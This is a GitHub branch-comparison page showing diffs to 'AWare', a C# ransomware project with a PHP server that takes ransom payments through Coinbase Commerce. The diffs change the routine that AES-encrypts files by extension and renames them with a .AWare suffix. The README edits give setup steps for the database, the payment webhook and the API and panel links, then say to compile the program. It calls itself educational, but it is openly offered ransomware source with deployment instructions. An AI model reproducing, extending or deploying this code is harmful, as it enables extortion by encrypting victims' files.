Skip to content
Permalink

Comparing changes

Choose two branches to see what’s changed or to start a new pull request. If you need to, you can also or learn more about diff comparisons.

Open a pull request

Create a new pull request by comparing changes across two branches. If you need to, you can also . Learn more about diff comparisons here.
base repository: gamefortech123/AWare
Failed to load repositories. Confirm that selected base ref is valid, then try again.
Loading
base: master
Choose a base ref
...
head repository: biitez/AWare
Failed to load repositories. Confirm that selected head ref is valid, then try again.
Loading
compare: master
Choose a head ref
Able to merge. These branches can be automatically merged.
  • 7 commits
  • 5 files changed
  • 1 contributor

Commits on Apr 25, 2021

  1. Update ConsoleHelper.cs

    Benjamin authored Apr 25, 2021
    Copy the full SHA
    9f1381b View commit details

Commits on Apr 26, 2021

  1. - Small bug when closing the console fixed

    Benjamin authored Apr 26, 2021
    Copy the full SHA
    4742515 View commit details
  2. Update README.md

    Benjamin authored Apr 26, 2021
    Copy the full SHA
    a5a71f1 View commit details

Commits on Apr 28, 2021

  1. Update globals.php

    Benjamin authored Apr 28, 2021

    Verified

    This commit was created on GitHub.com and signed with GitHub’s verified signature. The key has expired.
    Copy the full SHA
    0805201 View commit details
  2. - PHP Warning

    Benjamin authored Apr 28, 2021

    Verified

    This commit was created on GitHub.com and signed with GitHub’s verified signature. The key has expired.
    Copy the full SHA
    b83239c View commit details

Commits on Dec 23, 2021

  1. Update README.md

    b(i^2)t.ez authored Dec 23, 2021
    Copy the full SHA
    7807c48 View commit details

Commits on Dec 25, 2021

  1. Update README.md

    b(i^2)t.ez authored Dec 25, 2021
    Copy the full SHA
    4cb0fc3 View commit details
Showing with 16 additions and 15 deletions.
  1. +6 −3 AWare Source Code/AWare/Extensions/StringExtensions.cs
  2. +1 −4 AWare Source Code/AWare/Helper/ConsoleHelper.cs
  3. +5 −3 README.md
  4. +3 −1 Server (PHP)/globals.php
  5. +1 −4 Server (PHP)/index.php
9 changes: 6 additions & 3 deletions AWare Source Code/AWare/Extensions/StringExtensions.cs
Original file line number Diff line number Diff line change
@@ -26,13 +26,16 @@ internal static void EncryptDirectories(this string Paths, AesServices _aesServi

foreach (var i in Files)
{

var fileInfo = new FileInfo(i);

if (!Extensions.Contains(Path.GetExtension(i)))
if (Path.GetExtension(i).Contains("AWare"))
{
Program.ProtectedFiles.Add(fileInfo.FullName);
continue;
}

var fileInfo = new FileInfo(i);
else if (!Extensions.Contains(Path.GetExtension(i)))
continue;

Program.ProtectedFiles.Add(_aesServices.EncryptFile(i, $"{fileInfo.FullName}.AWare", SecretKey, 10));
}
5 changes: 1 addition & 4 deletions AWare Source Code/AWare/Helper/ConsoleHelper.cs
Original file line number Diff line number Diff line change
@@ -9,10 +9,7 @@ namespace AWare.Helper
{
public static class ConsoleHelper
{
//public static string desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
//public static string documents = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
//public static string pictures = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures);


internal static (string Log, bool Paid) PaymentStatus = ("You have not paid.", false);

public static void AsciiHeader(string sessId)
8 changes: 5 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
# AWare — C# Ransomware

Ransomware with automatic Coinbase Commerce integration created in C# (Console) and PHP

PD: AWare is just a proof of concept, with this, you can read the encryption and see how it is used, and thus prevent a real one.
@@ -12,7 +13,7 @@ When the .EXE is opened, a request is sent to the PHP script, with a unique ID o
### Requirements
- PHP 7.0 or Higher
- Coinbase Commerce Account
- phpMyAdmin
- MySQL

### Usage
Create a database and import the db.sql file, then upload the PHP scripts to your server, you need to open the globals.php file and fill in the following definitions:
@@ -31,6 +32,8 @@ Also, you must include the name of the 'webhook/index.php' within your coinbase
![WebhookUrl](https://share.biitez.dev/i/mda3v.png)
![WhereFindYourApis](https://share.biitez.dev/i/yqk22.png)

When you have done the above, you should open the project (.sln) and go to the globals.cs class, where you should place the API link (index.php) and the panel link (panel.php), then you just compile it and you can test it on a virtual machine.

### Screenshots / GIFs
![Screenshot1](https://share.biitez.dev/i/hye6l.png)

@@ -47,9 +50,8 @@ Also, you must include the name of the 'webhook/index.php' within your coinbase
![Website](https://share.biitez.dev/i/lzsw7.png)

#### When the payment reaches 1 confirmation through Coinbase Commerce:
![s](https://share.biitez.dev/i/gtwo7.gif)
![PayConfirmed](https://share.biitez.dev/i/gtwo7.gif)

When you have done the above, you should open the project (.sln) and go to the globals.cs class, where you should place the API link (index.php) and the panel link (panel.php), then you just compile it and you can test it on a virtual machine.
# Note

This is a concept of a real ransomware operation, AWare is only created for educational purposes.
4 changes: 3 additions & 1 deletion Server (PHP)/globals.php
Original file line number Diff line number Diff line change
@@ -7,4 +7,6 @@

define("URL_PAGE", "https://example.com/server/panel.php"); // Here you write the link where the panel.php file is, you need to put it with HTTPS, for example, https://example.com/panel.php
define("API_KEY_COINBASE_COMMERCE", "your coinbase api key");
define("SECRET_KEY_WEBHOOK_COINBASE_COMMERCE", "your secret key webhook coinbase commerce");
define("SECRET_KEY_WEBHOOK_COINBASE_COMMERCE", "your secret key webhook coinbase commerce");

?>
5 changes: 1 addition & 4 deletions Server (PHP)/index.php
Original file line number Diff line number Diff line change
@@ -1,7 +1,5 @@
<?php

session_start();

include('connect.php');

header("Content-Type: application/json");
@@ -124,5 +122,4 @@ function generateRandomString($length = 10)
return $randomString;
}


?>
?>